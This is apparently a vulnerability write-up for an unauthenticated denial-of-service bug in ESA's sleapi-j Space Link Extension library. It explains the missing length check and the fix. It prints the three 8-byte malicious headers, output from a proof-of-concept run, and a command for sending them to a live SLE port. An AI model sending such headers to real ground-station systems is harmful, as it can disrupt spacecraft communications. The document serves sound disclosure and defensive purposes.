Severity: Moderate CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Affected: sleapi-j < 5.1.7 Fixed in: sleapi-j 5.1.7 (commit 265118d) Advisory: GHSA-6g75-jwgj-hj8v Reporter: Daniel Miranda Barcelona (Excal1bur) Discovery date: 2026-03-26

This is the third YAMCS CVE. The first two were CVE-2026-44595 and CVE-2026-44596.


What is sleapi-j?

sleapi-j is ESA’s reference Java implementation of the Space Link Extension (SLE) protocol — the standard used by ground stations to communicate with spacecraft over CCSDS links. It’s maintained by ESA/ESOC’s Ground Systems Engineering group and used operationally in real missions. When a ground station and a spacecraft need to talk, there’s a decent chance this library is somewhere in the stack.

The SLE protocol uses ISP1 (Internet SLE Protocol) as its transport framing. Every PDU starts with an 8-byte header: 4 bytes of type/version fields, followed by a 4-byte length field that tells the receiver how many bytes to read next.

That length field is where things go wrong.


The vulnerability

Inside EE_APIPX_PDUMessageFactory.createTmlMessage(), the library reads the 8-byte ISP1 header and decodes the length field using EE_IntegralEncoder.decodeUnsignedMSBFirst(), which correctly returns a long (capable of holding values 0 to 0xFFFFFFFF). So far so good.

Then it does this:

int length = (int) EE_IntegralEncoder.decodeUnsignedMSBFirst(initialEightBytes, 4, 4);
byte[] body = new byte[length];  // ← no bounds check

Two problems in one line:

  1. Silent int overflow. Any value above 0x7FFFFFFF wraps to a negative integer when cast to int. Java’s int is signed and 32-bit; a long value of 0x80000000 becomes -2147483648 as an int.
  2. No bounds check. The code allocates new byte[length] unconditionally, with whatever value came off the wire.

The result depends on which length value you send:

ValueWire bytesCast to intResult
0x7FFFFFFF7F FF FF FF2,147,483,647OutOfMemoryError
0x8000000080 00 00 00-2,147,483,648NegativeArraySizeException
0xFFFFFFFFFF FF FF FF-1NegativeArraySizeException

All three crash the thread handling the connection. With enough connection churn, the process can also exhaust memory or file-descriptor limits — a secondary resource-leakage effect that Holger Dreihahn (ESA/ESOC, Head of Backend Software Section) confirmed during coordinated disclosure.

One extra detail that makes this nastier: no authentication is required. The SLE session accepts the ISP1 connection before any credential exchange happens. You reach the port, send 8 bytes, done.

Interestingly, the same decoding logic exists in EE_APIPX_CtxMessageFactory — except there, a bounds check is present (it validates the length against an expected value). The inconsistency between the two factories confirms this was an oversight, not a design choice.


Proof of concept

A standalone Java PoC (SleApiJDoSPoC.java) replicates the vulnerable code path using a PipedInputStream to simulate socket input — no live SLE service needed to confirm the bug.

ESA sleapi-j — ISP1 PDU Length DoS PoC
File: EE_APIPX_PDUMessageFactory.java
Researcher: Daniel Miranda Barcelona (Excal1bur)

════════════════════════════════════════
 Variant: OOM — 0x7FFFFFFF (2GB)
 Header:  01 00 00 00 7F FF FF FF
════════════════════════════════════════
  [*] Decoded length from wire: 0x7FFFFFFF (2,147,483,647)
  [*] Casting to int: 2147483647
  [*] Calling: new byte[2147483647]  ← CRASH POINT
  [!!!] OutOfMemoryError: Requested array size exceeds VM limit
  [CONFIRMED] Variant triggers OutOfMemoryError DoS

════════════════════════════════════════
 Variant: NegativeArraySize — 0x80000000
 Header:  01 00 00 00 80 00 00 00
════════════════════════════════════════
  [*] Decoded length from wire: 0x80000000 (2,147,483,648)
  [*] Casting to int: -2147483648
  [*] Calling: new byte[-2147483648]  ← CRASH POINT
  [!!!] NegativeArraySizeException: -2147483648
  [CONFIRMED] Variant triggers NegativeArraySizeException DoS

════════════════════════════════════════
 Variant: Max uint32 — 0xFFFFFFFF
 Header:  01 00 00 00 FF FF FF FF
════════════════════════════════════════
  [*] Decoded length from wire: 0xFFFFFFFF (4,294,967,295)
  [*] Casting to int: -1
  [*] Calling: new byte[-1]  ← CRASH POINT
  [!!!] NegativeArraySizeException: -1
  [CONFIRMED] Variant triggers NegativeArraySizeException DoS

Three variants, three confirmed crashes. A single 8-byte TCP packet is all it takes.

A companion Python script (cve_sleapij_dos.py) sends the malicious header over TCP to a live SLE service:

bash

python3 cve_sleapij_dos.py --host <target> --port 2048 --variant oom

The default SLE port is 2048. If it’s reachable and running an unpatched version, one packet is enough.


The fix

ESA patched this in sleapi-j 5.1.7 (commit 265118d) by adding a bounds check before the allocation, consistent with what EE_APIPX_CtxMessageFactory already did:

private static final int MAX_PDU_BODY_LENGTH = 10 * 1024 * 1024; // 10 MB

long rawLength = EE_IntegralEncoder.decodeUnsignedMSBFirst(initialEightBytes, 4, 4);
if (rawLength < 0 || rawLength > MAX_PDU_BODY_LENGTH) {
    throw new SleApiException(HRESULT.EE_E_INVALIDPDU,
        "ISP1 PDU body length out of bounds: " + rawLength);
}
int length = (int) rawLength;
byte[] body = new byte[length];

The fix caps the allocation at 10 MB and rejects anything outside that range before the cast happens. Elegant, and it mirrors the pattern that was already correct in the other factory.

If upgrading immediately isn’t an option: restrict network access to the SLE port (2048) to trusted ground-station IPs only. That doesn’t fix the bug but removes the unauthenticated-attacker path.


Coordinated disclosure by the book. ESA/ESOC were professional and responsive throughout.


References